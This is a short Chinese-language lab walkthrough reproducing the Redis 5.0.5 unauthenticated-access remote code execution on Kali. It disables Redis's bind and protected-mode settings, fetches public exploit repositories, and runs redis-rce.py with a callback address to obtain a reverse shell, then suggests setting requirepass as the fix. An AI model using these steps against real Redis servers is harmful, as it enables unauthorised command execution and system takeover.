选择在kali中复现
选择了redis5.0.5版本
一.下载并安装:
$ wget http://download.redis.io/releases/redis-5.0.5.tar.gz
$ tar xzf redis-5.0.5.tar.gz
$ cd redis-5.0.5
$ make
2.将redis-5.0.5.tar.gz里面的redis.conf文件中的“bind 127.0.0.1”这一行前面加注释符“#”;再将”protected-mode yes”改为no。
3.make完后 redis-2.8.17目录下会出现编译后的redis服务程序redis-server,还有用于测试的客户端程序redis-cli,两个程序位于安装目录 src 目录下:
下面启动redis服务.
$ cd src
$ ./redis-server
注意这种方式启动redis 使用的是默认配置。也可以通过启动参数告诉redis使用指定配置文件使用下面命令启动。
$ cd src
$ ./redis-server ../redis.conf
redis.conf 是一个默认的配置文件。我们可以根据需要使用自己的配置文件。
启动redis服务进程后,就可以使用测试客户端程序redis-cli和redis服务交互了。 比如:
$ cd src
$ ./redis-cli
redis> set foo bar
OK
redis> get foo
"bar"
二 漏洞复现。
下载EXP:
git clone https://github.com/Ridter/redis-rce.git git clone https://github.com/n0b0dyCN/RedisModules-ExecuteCommand.git
编译module.so文件:
将编译完的module.so复制到redis-rce目录下,然后执行以下命令:
python redis-rce.py -r 127.0.0.1 -L 127.0.0.1 -f module.so
-r参数是指远程Redis IP地址; -L参数是指反弹到的服务器IP地址; 执行命令后,开启监听了本地的60720端口,并成功反弹回了shell。
修复建议
这是针对redis未授权访问的漏洞 这里直接redis.conf文件里面的 requirepass 参数取消注释 这里5.0是默认开启未授权访问的